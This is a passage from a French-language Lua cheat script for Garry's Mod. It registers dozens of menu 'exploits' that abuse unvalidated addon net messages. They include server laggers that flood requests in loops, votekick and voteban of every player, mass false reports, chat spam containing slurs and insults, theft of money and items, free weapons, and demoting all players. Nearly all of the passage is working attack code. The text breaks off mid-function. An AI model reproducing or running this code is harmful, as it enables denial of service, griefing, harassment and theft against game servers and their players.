4633NOTIFICATION("Stopping Lagger")
4634end
4635end)
4636end
4637
4638status = ValidNetString("gMining.sellMineral")
4639if (status) then
4640CHATPRINT("Exploit Trouvé : Lagger #8 [gMining.sellMineral]")
4641addExploit( "30","Lagger #8", "", function()
4642surface.PlaySound("garrysmod/ui_click.wav")
4643NOTIFICATION("Starting")
4644if !timer.Exists( "lagger8" ) then
4645timer.Create("lagger8", 0, 0, function()
4646for i = 1, 1000 do
4647net.Start("gMining.sellMineral",true)
4648net.WriteInt(9999999999999999999999999999999999999999999999999999999999, 3)
4649net.WriteString(" ")
4650net.SendToServer()
4651end
4652end )
4653end
4654end )
4655end
4656
4657status = ValidNetString("PlayerUseItem")
4658if (status) then
4659CHATPRINT("Exploit Trouvé : Lagger #9 [PlayerUseItem]")
4660addExploit( "31","Lagger #9", "", function()
4661surface.PlaySound("garrysmod/ui_click.wav")
4662if !timer.Exists( "lagger9" ) then
4663timer.Create("lagger9", 0,0, function()
4664for i = 1, 800 do
4665net.Start("PlayerUseItem",true)
4666net.WriteInt(99999999999999999999999999999999999999999999999, 32)
4667net.SendToServer()
4668end
4669end)
4670NOTIFICATION("Starting Lagger")
4671else
4672timer.Remove("lagger9")
4673NOTIFICATION("Stopping Lagger")
4674end
4675end)
4676end
4677
4678status = ValidNetString("RequestMAPSize")
4679if (status) then
4680CHATPRINT("Exploit Trouvé : Lagger #10 [RequestMAPSize]")
4681addExploit( "32","Lagger #10", "", function()
4682surface.PlaySound("garrysmod/ui_click.wav")
4683if !timer.Exists( "lagger10" ) then
4684timer.Create("lagger10", 0, 0, function()
4685for i = 1, 400 do
4686net.Start("RequestMAPSize",true)
4687net.SendToServer()
4688end
4689end)
4690NOTIFICATION("Starting Lagger")
4691else
4692timer.Remove("lagger10")
4693NOTIFICATION("Stopping Lagger")
4694end
4695end )
4696end
4697
4698status = ValidNetString("MG2.Request.GangRankings")
4699if (status) then
4700CHATPRINT("Exploit Trouvé : Lagger #11 [MG2.Request.GangRankings]")
4701addExploit( "33","Lagger #11", "", function()
4702surface.PlaySound("garrysmod/ui_click.wav")
4703if !timer.Exists( "lagger11" ) then
4704timer.Create("lagger11", 0, 0, function()
4705for i = 1, 1000 do
4706net.Start("MG2.Request.GangRankings",true)
4707net.SendToServer()
4708end
4709end)
4710NOTIFICATION("Starting Lagger")
4711else
4712timer.Remove("lagger11")
4713NOTIFICATION("Stopping Lagger")
4714end
4715end )
4716end
4717
4718status = ValidNetString("dLogsGetCommand")
4719if (status) then
4720CHATPRINT("Exploit Trouvé : Lagger #12 [dLogsGetCommand]")
4721addExploit( "34","Lagger #12", "", function()
4722surface.PlaySound("garrysmod/ui_click.wav")
4723NOTIFICATION("Starting Lagger")
4724for i=1,7000 do
4725net.Start("dLogsGetCommand",true)
4726net.WriteTable({ cmd = "+forward" , args = " " })
4727net.SendToServer()
4728end
4729end )
4730end
4731
4732status = ValidNetString("ats_send_toServer")
4733if (status) then
4734CHATPRINT("Exploit Trouvé : Lagger #13 [ats_send_toServer]")
4735addExploit( "35","Lagger #13", "", function()
4736surface.PlaySound("garrysmod/ui_click.wav")
4737NOTIFICATION("Starting Lagger")
4738for i=1,2000 do
4739net.Start("ats_send_toServer",true)
4740net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
4741net.SendToServer()
4742end
4743end )
4744end
4745
4746status = ValidNetString("shopguild_buyitem")
4747if (status) then
4748CHATPRINT("Exploit Trouvé : Exploit De Guildes [shopguild_buyitem]")
4749addExploit( "36","Exploit De Guildes", "", function()
4750surface.PlaySound("garrysmod/ui_click.wav")
4751CHATPRINT("Guild level successfully upgraded")
4752local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
4753if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
4754net.Start("shopguild_buyitem")
4755net.WriteString("lvl")
4756net.WriteDouble(level)
4757net.WriteString("Guild Level "..level)
4758net.WriteEntity(LocalPlayer())
4759net.WriteUInt(2,4)
4760net.WriteDouble(0)
4761net.SendToServer()
4762level = level + 1
4763end )
4764end
4765
4766status = ValidNetString("VoteKickNO")
4767if (status) then
4768CHATPRINT("Exploit Trouvé : Votekick [VoteKickNO]")
4769addExploit( "37","Votekick", "kicking all", function()
4770surface.PlaySound("garrysmod/ui_click.wav")
4771for k,v in pairs(player.GetAll()) do
4772net.Start("VoteKickNO")
4773net.WriteFloat(v:EntIndex())
4774net.WriteFloat(6)
4775net.SendToServer()
4776net.Start("VoteKickNO")
4777net.WriteFloat(v:EntIndex())
4778net.WriteFloat(6)
4779net.SendToServer()
4780net.Start("VoteKickNO")
4781net.WriteFloat(v:EntIndex())
4782net.WriteFloat(6)
4783net.SendToServer()
4784net.Start("VoteKickNO")
4785net.WriteFloat(v:EntIndex())
4786net.WriteFloat(6)
4787net.SendToServer()
4788end
4789end )
4790end
4791
4792status = ValidNetString("VoteBanNO")
4793if (status) then
4794CHATPRINT("Exploit Trouvé : Voteban [VoteBanNO]")
4795addExploit( "38","Voteban", "bans all", function()
4796surface.PlaySound("garrysmod/ui_click.wav")
4797for k,v in pairs(player.GetAll()) do
4798net.Start("VoteBanNO")
4799net.WriteFloat(v:EntIndex())
4800net.WriteFloat(8)
4801net.SendToServer()
4802net.Start("VoteBanNO")
4803net.WriteFloat(v:EntIndex())
4804net.WriteFloat(8)
4805net.SendToServer()
4806net.Start("VoteBanNO")
4807net.WriteFloat(v:EntIndex())
4808net.WriteFloat(8)
4809net.SendToServer()
4810end
4811end )
4812end
4813
4814status = ValidNetString("NewReport")
4815if (status) then
4816CHATPRINT("Exploit Trouvé : Report Modifié [NewReport]")
4817addExploit( "39","Report Modifié", "", function()
4818surface.PlaySound("garrysmod/ui_click.wav")
4819for k,v in pairs(player.GetAll()) do
4820net.Start("NewReport")
4821net.WriteType(ply)
4822net.WriteInt(8,5)
4823net.WriteString("hahaha")
4824net.SendToServer()
4825end
4826end )
4827end
4828
4829status = ValidNetString("Warn_CreateWarn")
4830if (status) then
4831CHATPRINT("Exploit Trouvé : Warns Modifiés [Warn_CreateWarn]")
4832addExploit( "40","Warns Modifiés", "", function()
4833surface.PlaySound("garrysmod/ui_click.wav")
4834for k,v in pairs(player.GetAll()) do
4835net.Start("Warn_CreateWarn")
4836net.WriteEntity(ply)
4837net.WriteString("hahaha")
4838net.SendToServer()
4839end
4840end )
4841end
4842
4843status = ValidNetString("showDisguiseHUD")
4844if (status) then
4845CHATPRINT("Exploit Trouvé : Déguisements #2 [showDisguiseHUD]")
4846addExploit( "41","Déguisements #2", "", function()
4847surface.PlaySound("garrysmod/ui_click.wav")
4848CHATPRINT("Choisi Ton Déguisements")
4849PlayerCount = 0
4850for k, v in pairs(player.GetAll()) do
4851PlayerCount = PlayerCount + 1
4852end
4853local TeamNum
4854local disguise_Model_Preview_Default
4855local base = vgui.Create("DFrame")
4856base:SetSize(300,420)
4857base:Center()
4858base:SetTitle(" ")
4859base:ShowCloseButton(false)
4860base:MakePopup()
4861function base:Paint()
4862draw.RoundedBoxEx( 5, 0, 0, base:GetWide(), base:GetTall(), Color(20,20,20,200),false,true)
4863draw.RoundedBox( 0, 0, 30, base:GetWide(), base:GetTall()-60, Color(10,10,10,200))
4864draw.RoundedBox( 0, 0, 30, base:GetWide(), 5, Color(255,255,255,255))
4865draw.RoundedBox( 0, 0, 390, base:GetWide(), 5, Color(255,255,255,255))
4866draw.SimpleText("Déguisements", "DisFontBold", base:GetWide()/4, -1)
4867end
4868local ExitButton = vgui.Create("DButton", base)
4869ExitButton:SetPos(base:GetWide()+4-ExitButton:GetWide())
4870ExitButton:SetText("Fermer")
4871ExitButton:SetSize(60,20)
4872ExitButton:SetFont("DermaDefaultBold")
4873ExitButton.Paint = function()
4874if ExitButton.Hovered then
4875if ExitButton:IsDown() then
4876ExitButton:SetTextColor(Color(200,200,200,200))
4877draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,200),false,true)
4878else
4879ExitButton:SetTextColor(Color(255,255,255,255))
4880draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,255),false,true)
4881end
4882else
4883ExitButton:SetTextColor(Color(20,20,20,200))
4884draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200,0,0,200),false,true)
4885end
4886end
4887function ExitButton.DoClick()
4888base:Remove()
4889net.Start("changeToPhysgun")
4890net.SendToServer()
4891end
4892local DTeamChoice = vgui.Create("DComboBox", base)
4893DTeamChoice:SetSize(150, 22)
4894DTeamChoice:SetPos(75, 50)
4895DTeamChoice:SetValue("Choisi L'Emplois")
4896for k, v in pairs(team.GetAllTeams()) do
4897if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
4898end
4899DTeamChoice.OnSelect = function(panel, index, value)
4900for k,_ in pairs(team.GetAllTeams()) do
4901if value == team.GetName(k) then
4902for _, v in pairs(player.GetAll())do
4903if v:Team() == k then
4904TeamNum = v:Team()
4905disguise_Model_Preview_Default = v:GetModel()
4906end
4907end
4908end
4909end
4910timer.Create("RefreshModel", 0.1, 0, function()
4911local icon = vgui.Create( "DModelPanel", base )
4912icon:SetSize(300, 260)
4913icon:SetPos(-5, 80)
4914icon:SetFOV(68)
4915icon:SetModel( disguise_Model_Preview_Default )
4916timer.Simple(0.1, function()
4917icon:Remove()
4918end)
4919end)
4920local DisguiseButton = vgui.Create("DButton", base)
4921DisguiseButton:SetPos(base:GetWide()/2.5, 360)
4922DisguiseButton:SetSize(60,20)
4923DisguiseButton:SetText("Accepter")
4924DisguiseButton:SetFont("DermaDefaultBold")
4925function DisguiseButton:Paint()
4926if DisguiseButton.Hovered then
4927if DisguiseButton:IsDown() then
4928DisguiseButton:SetTextColor(Color(200,200,200,200))
4929draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,200))
4930else
4931DisguiseButton:SetTextColor(Color(255,255,255,255))
4932draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,220,0,255))
4933end
4934else
4935DisguiseButton:SetTextColor(Color(20,20,20,200))
4936draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,255))
4937end
4938end
4939function DisguiseButton:DoClick()
4940net.Start("SetPlayerModel")
4941if ChosenName == nil then
4942net.WriteString(LocalPlayer():Nick())
4943else
4944net.WriteString(ChosenName)
4945end
4946net.WriteUInt(TeamNum, 16)
4947net.SendToServer()
4948base:Close()
4949net.Start("changeToPhysgun")
4950net.SendToServer()
4951end
4952end
4953end
4954)
4955end
4956
4957status = ValidNetString("Chatbox_PlayerChat")
4958if (status) then
4959CHATPRINT("Exploit Trouvé : Spam Chat [Chatbox_PlayerChat]")
4960addExploit( "42","Spam Chat", "", function()
4961surface.PlaySound("garrysmod/ui_click.wav")
4962NOTIFICATION("Starting")
4963timer.Create("willoxchatspam", 1, 0, function()
4964net.Start("Chatbox_PlayerChat")
4965net.WriteEntity(LocalPlayer())
4966net.WriteBit(1)
4967net.WriteString("FAGGOTS")
4968net.WriteBit(1)
4969net.SendToServer()
4970end )
4971end )
4972end
4973
4974status = ValidNetString("BuilderXToggleKill")
4975if (status) then
4976CHATPRINT("Exploit Trouvé : Exploits Constructeur Contre Tueur [BuilderXToggleKill]")
4977addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
4978surface.PlaySound("garrysmod/ui_click.wav")
4979NOTIFICATION("Starting")
4980for k, v in pairs(player.GetAll()) do
4981net.Start("BuilderXToggleKill")
4982net.WriteEntity(ply)
4983net.SendToServer()
4984end
4985end )
4986end
4987
4988status = ValidNetString("reports.submit")
4989if (status) then
4990CHATPRINT("Exploit Trouvé : Report Tout Le Monde [reports.submit]")
4991addExploit( "44","Report Tout Le Monde", "", function()
4992surface.PlaySound("garrysmod/ui_click.wav")
4993NOTIFICATION("Starting")
4994for k,v in pairs(player.GetAll()) do
4995net.Start("reports.submit")
4996net.WriteEntity(v)
4997net.WriteInt(5, 8)
4998net.WriteString("SuckMyDick")
4999net.SendToServer()
5000end
5001end )
5002end
5003
5004status = ValidNetString("services_accept")
5005if (status) then
5006CHATPRINT("Exploit Trouvé : Spam Services [services_accept]")
5007addExploit( "45","Spam Services", "spam to all players", function()
5008surface.PlaySound("garrysmod/ui_click.wav")
5009NOTIFICATION("Starting")
5010timer.Create("serviceaccept", 0, 0, function()
5011for k,v in pairs(player.GetAll()) do
5012net.Start("services_accept")
5013net.WriteString("Nice security, retards xd")
5014net.WriteVector(Vector(v:GetPos()))
5015net.WriteString("test image")
5016net.WriteEntity(v)
5017net.SendToServer()
5018end
5019end )
5020timer.Simple(4, function()
5021timer.Destroy("serviceaccept")
5022end )
5023end )
5024end
5025
5026status = ValidNetString("lockpick_sound")
5027if (status) then
5028CHATPRINT("Exploit Trouvé : LockPick Spam Son [lockpick_sound]")
5029addExploit( "46","LockPick Spam Son", "", function()
5030surface.PlaySound("garrysmod/ui_click.wav")
5031NOTIFICATION("Starting")
5032timer.Create( "spamlockpicksound", 3, 0, function()
5033for k, v in pairs( player.GetAll() ) do
5034net.Start("lockpick_sound")
5035net.WriteEntity(v)
5036net.SendToServer()
5037end
5038end )
5039timer.Simple(4, function()
5040timer.Destroy("spamlockpicksound")
5041end )
5042end )
5043end
5044
5045status = ValidNetString("customprinter_get")
5046if (status) then
5047CHATPRINT("Exploit Trouvé : Voler L'Argents Des Printers [customprinter_get]")
5048addExploit( "47","Voler L'Argents Des Printers", "", function()
5049surface.PlaySound("garrysmod/ui_click.wav")
5050NOTIFICATION("Starting")
5051for k, v in pairs(ents.GetAll()) do
5052if v:GetClass():find("print") then
5053net.Start("customprinter_get")
5054net.WriteEntity(v)
5055net.WriteString("g_money")
5056net.SendToServer()
5057end
5058end
5059end )
5060end
5061
5062status = ValidNetString("InformPlayer")
5063if (status) then
5064CHATPRINT("Exploit Trouvé : SimpleGrab Inform [InformPlayer]")
5065addExploit( "48","SimpleGrab Inform", "", function()
5066surface.PlaySound("garrysmod/ui_click.wav")
5067NOTIFICATION("Starting")
5068for k,v in pairs(player.GetAll()) do
5069for i = 0, 100 do
5070net.Start("InformPlayer")
5071net.WriteEntity(v)
5072net.SendToServer()
5073end
5074end
5075end )
5076end
5077
5078status = ValidNetString("pogcp_report_submitReport")
5079if (status) then
5080CHATPRINT("Exploit Trouvé : Report Tout Le Monde #2 [pogcp_report_submitReport]")
5081addExploit( "49","Report Tout Le Monde #2", "", function()
5082surface.PlaySound("garrysmod/ui_click.wav")
5083NOTIFICATION("Starting")
5084for i = 0, 100 do
5085for k,v in pairs(player.GetAll()) do
5086net.Start("pogcp_report_submitReport")
5087net.WriteString("lol")
5088net.WriteString("nice security retards")
5089net.WriteEntity(v)
5090net.SendToServer()
5091end
5092end
5093end )
5094end
5095
5096status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
5097if (status) then
5098CHATPRINT("Exploit Trouvé : Candidature De Dictateur Instant [1942_Fuhrer_SubmitCandidacy]")
5099addExploit( "50","Candidature De Dictateur Instant", "", function()
5100surface.PlaySound("garrysmod/ui_click.wav")
5101NOTIFICATION("Starting")
5102net.Start("1942_Fuhrer_SubmitCandidacy")
5103net.WriteString(LocalPlayer():Nick())
5104net.SendToServer()
5105end )
5106end
5107
5108status = ValidNetString("FacCreate")
5109if (status) then
5110CHATPRINT("Exploit Trouvé : Fac Create [FacCreate]")
5111addExploit( "51","Fac Create", "old exploit", function()
5112surface.PlaySound("garrysmod/ui_click.wav")
5113NOTIFICATION("Starting")
5114timer.Create("fucklol", 1, 0, function()
5115net.Start("FacCreate")
5116net.WriteString("LOL " .. random_string(5))
5117net.WriteString("LOL " .. random_string(10))
5118net.WriteColor(random_color())
5119net.WriteBool(false)
5120net.WriteString(random_string(5))
5121net.SendToServer()
5122end )
5123end )
5124end
5125
5126status = ValidNetString("FactionInviteConsole")
5127if (status) then
5128CHATPRINT("Exploit Trouvé : Faction Invite [FactionInviteConsole]")
5129addExploit( "52","Faction Invite", "", function()
5130surface.PlaySound("garrysmod/ui_click.wav")
5131NOTIFICATION("Starting")
5132timer.Create("lovedarkexploitsxd", 1, 0, function()
5133for k, v in pairs(player.GetAll()) do
5134net.Start("FactionInviteConsole")
5135net.WriteEntity( ply )
5136net.WriteEntity(table.Random(player.GetAll()))
5137net.SendToServer()
5138end
5139end )
5140end )
5141end
5142
5143status = ValidNetString("WithdrewBMoney")
5144if (status) then
5145CHATPRINT("Exploit Trouvé : Argent Gratuite #2 [WithdrewBMoney]")
5146addExploit( "53","Argent Gratuite #2", "an exploit in the addon 'business'", function()
5147surface.PlaySound("garrysmod/ui_click.wav")
5148NOTIFICATION("Starting")
5149net.Start("WithdrewBMoney")
5150net.WriteInt(50000,32)
5151net.SendToServer()
5152end )
5153end
5154
5155status = ValidNetString("deathrag_takeitem")
5156if (status) then
5157CHATPRINT("Exploit Trouvé : Items Faciles [deathrag_takeitem]")
5158addExploit( "54","Items Faciles", "collects money, weapons", function()
5159surface.PlaySound("garrysmod/ui_click.wav")
5160NOTIFICATION("Starting")
5161count = 0
5162for k, v in pairs( ents.GetAll() ) do
5163if v:GetClass() == "prop_ragdoll" then
5164count = count + 1
5165end
5166end
5167if count == 0 then
5168CHATPRINT("No items found")
5169else
5170CHATPRINT("Amount of items "..count)
5171end
5172for k, v in pairs( ents.GetAll() ) do
5173if v:GetClass() == "prop_ragdoll" then
5174for i=1,10 do
5175net.Start("deathrag_takeitem")
5176net.WriteEntity( v )
5177net.WriteInt(i,16)
5178net.SendToServer()
5179end
5180end
5181end
5182end )
5183end
5184
5185status = ValidNetString("REPPurchase")
5186if (status) then
5187CHATPRINT("Exploit Trouvé : Heal & Armure [REPPurchase]")
5188addExploit( "55","Heal & Armure", "armor and hp", function()
5189surface.PlaySound("garrysmod/ui_click.wav")
5190NOTIFICATION("Starting")
5191if LocalPlayer():Health() < 99 then
5192net.Start("REPPurchase")
5193net.WriteString("HEALTH")
5194net.SendToServer()
5195end
5196if LocalPlayer():Armor() < 99 then
5197net.Start("REPPurchase")
5198net.WriteString("ARMOR")
5199net.SendToServer()
5200end
5201end )
5202end
5203
5204status = ValidNetString("BTTTStartVotekick")
5205if (status) then
5206CHATPRINT("Exploit Trouvé : Votekick #2 [BTTTStartVotekick]")
5207addExploit( "56","Votekick #2", "kick all noobs", function()
5208surface.PlaySound("garrysmod/ui_click.wav")
5209NOTIFICATION("Starting")
5210for k,v in pairs(player.GetAll()) do
5211if v != LocalPlayer() then
5212net.Start("BTTTStartVotekick")
5213net.Start("_nonDBVMVote")
5214net.WriteEntity(v)
5215net.WriteString("")
5216net.WriteString("1")
5217net.SendToServer()
5218end
5219end
5220end )
5221end
5222
5223status = ValidNetString("Resupply")
5224if (status) then
5225CHATPRINT("Exploit Trouvé : Respawn Equipment [Resupply]")
5226addExploit( "57","Respawn Equipment", "", function()
5227surface.PlaySound("garrysmod/ui_click.wav")
5228NOTIFICATION("Starting")
5229net.Start("Resupply")
5230net.SendToServer()
5231end )
5232end
5233
5234status = ValidNetString("DarkRP_Defib_ForceSpawn")
5235if (status) then
5236CHATPRINT("Exploit Trouvé : Respawn [DarkRP_Defib_ForceSpawn]")
5237addExploit( "58","Respawn #2", "just respawn", function()
5238surface.PlaySound("garrysmod/ui_click.wav")
5239NOTIFICATION("Respawn")
5240net.Start("DarkRP_Defib_ForceSpawn")
5241net.SendToServer()
5242end )
5243end
5244
5245status = ValidNetString("FiremanLeave")
5246if (status) then
5247CHATPRINT("Exploit Trouvé : Quitter Les Pompiers [FiremanLeave]")
5248addExploit( "59","Fireman Leave", "", function()
5249surface.PlaySound("garrysmod/ui_click.wav")
5250NOTIFICATION("Starting")
5251net.Start("FiremanLeave")
5252net.SendToServer()
5253end )
5254end
5255
5256status = ValidNetString("PoliceJoin")
5257if (status) then
5258CHATPRINT("Exploit Trouvé : Rejoindre La Police [PoliceJoin]")
5259addExploit( "60","Join the Police 1", "joining the police", function()
5260surface.PlaySound("garrysmod/ui_click.wav")
5261NOTIFICATION("Starting")
5262net.Start("PoliceJoin")
5263net.SendToServer()
5264end )
5265end
5266
5267status = ValidNetString("CreateEntity")
5268if (status) then
5269CHATPRINT("Exploit Trouvé : Crée Une Entité [CreateEntity]")
5270addExploit( "61","Create Entity", "", function()
5271surface.PlaySound("garrysmod/ui_click.wav")
5272NOTIFICATION("Starting")
5273for k,v in pairs(player.GetAll()) do
5274net.Start("CreateEntity")
5275net.WriteString("sent_arc_atm")
5276net.WriteFloat(100000000000000000000000000000000000000000000000000)
5277net.WriteEntity(v)
5278net.SendToServer()
5279end
5280end )
5281end
5282
5283status = ValidNetString("CREATE_REPORT")
5284if (status) then
5285CHATPRINT("Exploit Trouvé : Crée Des Reports [CREATE_REPORT]")
5286addExploit( "62","CREATE REPORT", "", function()
5287surface.PlaySound("garrysmod/ui_click.wav")
5288NOTIFICATION("Starting")
5289local tab = {
5290 REPORTER = v:Nick(),
5291 REPORTERID = v:SteamID(),
5292 FAGGOT = v:Nick(),
5293 FAGGOTID = v:SteamID(),
5294 INFO = "Dite Bonjour A YouTube :D",
5295 PROOF = "https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ"
5296 }
5297for k,v in pairs(player.GetAll()) do
5298net.Start("CREATE_REPORT")
5299net.WriteTable(tab)
5300net.SendToServer()
5301end
5302end )
5303end
5304
5305status = ValidNetString("Hopping_Test")
5306if (status) then
5307CHATPRINT("Exploit Trouvé : Test De Bonheur [Hopping_Test]")
5308addExploit( "62","Hopping Test", "", function()
5309surface.PlaySound("garrysmod/ui_click.wav")
5310NOTIFICATION("Starting")
5311for k,v in pairs(player.GetAll()) do
5312net.Start("Hopping_Test")
5313net.WriteEntity(v)
5314net.WriteString("69.696.696969.69")
5315net.SendToServer()
5316end
5317end )
5318end
5319
5320status = ValidNetString("CpForm_Answers")
5321if (status) then
5322CHATPRINT("Exploit Trouvé : Rejoindre La Police [CpForm_Answers]")
5323addExploit( "63","Join the Police 2", "joining the police #2", function()
5324surface.PlaySound("garrysmod/ui_click.wav")
5325NOTIFICATION("Starting")
5326net.Start("CpForm_Answers")
5327net.WriteEntity(LocalPlayer())
5328net.WriteTable({})
5329net.SendToServer()
5330end )
5331end
5332
5333status = ValidNetString("VehicleUnderglow")
5334if (status) then
5335CHATPRINT("Exploit Trouvé : Néon De Véhicule [VehicleUnderglow]")
5336addExploit( "64","Vehicle Underglow", "", function()
5337surface.PlaySound("garrysmod/ui_click.wav")
5338NOTIFICATION("Starting")
5339net.Start("VehicleUnderglow")
5340net.SendToServer()
5341end )
5342end
5343
5344status = ValidNetString("OpenGates")
5345if (status) then
5346CHATPRINT("Exploit Trouvé : Ouvrir Porte #2 [OpenGates]")
5347addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking at", function()
5348surface.PlaySound("garrysmod/ui_click.wav")
5349NOTIFICATION("Starting")
5350net.Start("OpenGates")
5351net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5352net.SendToServer()
5353end )
5354end
5355
5356status = ValidNetString("DemotePlayer")
5357if (status) then
5358CHATPRINT("Exploit Trouvé : Démote Tout Les Joueurs [DemotePlayer]")
5359addExploit( "66","Demote All Players", "Demote all players", function()
5360surface.PlaySound("garrysmod/ui_click.wav")
5361NOTIFICATION("Starting")
5362for k, v in pairs(player.GetAll()) do
5363net.Start("DemotePlayer")
5364net.WriteString(v:SteamID())
5365net.SendToServer()
5366end
5367end )
5368end
5369
5370status = ValidNetString("SendMail")
5371if (status) then
5372CHATPRINT("Exploit Trouvé : Envoyez Mail [SendMail]")
5373addExploit( "67","Envoyez Mail", "sending mail to all players", function()
5374surface.PlaySound("garrysmod/ui_click.wav")
5375NOTIFICATION("Starting")
5376for k,v in pairs(player.GetAll()) do
5377net.Start("SendMail")
5378net.WriteString("haha nice security retards")
5379net.WriteString(v:Nick())
5380net.SendToServer()
5381end
5382end )
5383end
5384
5385status = ValidNetString("REPAdminChangeLVL")
5386if (status) then
5387CHATPRINT("Exploit Trouvé : Admin Change Level [REPAdminChangeLVL]")
5388addExploit( "68","Admin Change Level", "free lvl", function()
5389surface.PlaySound("garrysmod/ui_click.wav")
5390NOTIFICATION("Starting")
5391for k,v in pairs(player.GetAll()) do
5392net.Start("REPAdminChangeLVL")
5393net.WriteEntity(v)
5394net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5395net.SendToServer()
5396end
5397end )
5398end
5399
5400status = ValidNetString("BuyUpgradesStuff")
5401if (status) then
5402CHATPRINT("Exploit Trouvé : Buy Upgrades [BuyUpgradesStuff]")
5403addExploit( "69","Buy Upgrades", "free upgrades", function()
5404surface.PlaySound("garrysmod/ui_click.wav")
5405NOTIFICATION("Starting")
5406net.Start("BuyUpgradesStuff")
5407net.WriteString("")
5408net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5409net.SendToServer()
5410end )
5411end
5412
5413status = ValidNetString("SquadGiveWeapon")
5414if (status) then
5415CHATPRINT("Exploit Trouvé : Give Weapons [SquadGiveWeapon]")
5416addExploit( "70","Give Weapons", "easy weapon", function()
5417surface.PlaySound("garrysmod/ui_click.wav")
5418inputFrameExists = true
5419inputFrame = vgui.Create( "DFrame" )
5420inputFrame:SetTitle("Choose a weapon!")
5421inputFrame:SetSize( 400, 75 )
5422inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5423inputFrame:SetDraggable(false)
5424inputFrame:ShowCloseButton(true)
5425inputFrame:MakePopup()
5426inputFrame.Paint = function( self, w, h )
5427draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5428end
5429local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5430TextEntry:SetSize( 380, 30 )
5431TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5432TextEntry:SetText( "ls_sniper" )
5433TextEntry.OnEnter = function( self )
5434surface.PlaySound("garrysmod/ui_click.wav")
5435NOTIFICATION("Giving Weapon")
5436net.Start("SquadGiveWeapon")
5437net.WriteString( self:GetValue() )
5438net.WriteEntity(LocalPlayer())
5439net.SendToServer()
5440inputFrame:SetVisible(false)
5441end
5442end )
5443end
5444
5445status = ValidNetString("SetTableTarget")
5446if (status) then
5447CHATPRINT("Exploit Trouvé : Set Table Target [SetTableTarget]")
5448addExploit( "71","Set Table Target", "", function()
5449surface.PlaySound("garrysmod/ui_click.wav")
5450NOTIFICATION("Starting")
5451net.Start("SetTableTarget")
5452net.WriteString("pername")
5453net.WriteString("perjob")
5454net.WriteInt(-10000000000000, 32)
5455net.WriteString("hitmansel")
5456net.WriteString("Anony.")
5457net.WriteString("")
5458net.WriteFloat(0)
5459net.WriteInt(-10000000000000, 32)
5460net.SendToServer()
5461end )
5462end
5463
5464status = ValidNetString("UpdateRPUModelSQL")
5465if (status) then
5466CHATPRINT("Exploit Trouvé : Change character model [UpdateRPUModelSQL]")
5467addExploit( "72","Change character model", "", function()
5468surface.PlaySound("garrysmod/ui_click.wav")
5469NOTIFICATION("Starting")
5470net.Start("UpdateRPUModelSQL")
5471net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
5472net.SendToServer()
5473end )
5474end
5475
5476status = ValidNetString("disguise")
5477if (status) then
5478CHATPRINT("Exploit Trouvé : Disguise [disguise]")
5479addExploit( "73","Disguise", "allows you to disguise as any job", function()
5480surface.PlaySound("garrysmod/ui_click.wav")
5481inputFrameExists = true
5482inputFrame = vgui.Create( "DFrame" )
5483inputFrame:SetTitle("Enter the number of the job")
5484inputFrame:SetSize( 400, 75 )
5485inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5486inputFrame:SetDraggable(false)
5487inputFrame:ShowCloseButton(true)
5488inputFrame:MakePopup()
5489inputFrame.Paint = function( self, w, h )
5490draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5491end
5492local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5493TextEntry:SetSize( 380, 30 )
5494TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5495TextEntry:SetText( "5" )
5496TextEntry.OnEnter = function( self )
5497surface.PlaySound("garrysmod/ui_click.wav")
5498NOTIFICATION("Disguised")
5499net.Start("disguise")
5500net.WriteInt(tonumber(self:GetValue()), 32)
5501net.SendToServer()
5502inputFrame:SetVisible(false)
5503end
5504end )
5505end
5506
5507status = ValidNetString("gportal_rpname_change")
5508if (status) then
5509CHATPRINT("Exploit Trouvé : Your RP Name #1 [gportal_rpname_change]")
5510addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
5511surface.PlaySound("garrysmod/ui_click.wav")
5512inputFrameExists = true
5513inputFrame = vgui.Create( "DFrame" )
5514inputFrame:SetTitle("Enter your name")
5515inputFrame:SetSize( 400, 75 )
5516inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5517inputFrame:SetDraggable(false)
5518inputFrame:ShowCloseButton(true)
5519inputFrame:MakePopup()
5520inputFrame.Paint = function( self, w, h )
5521draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5522end
5523local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5524TextEntry:SetSize( 380, 30 )
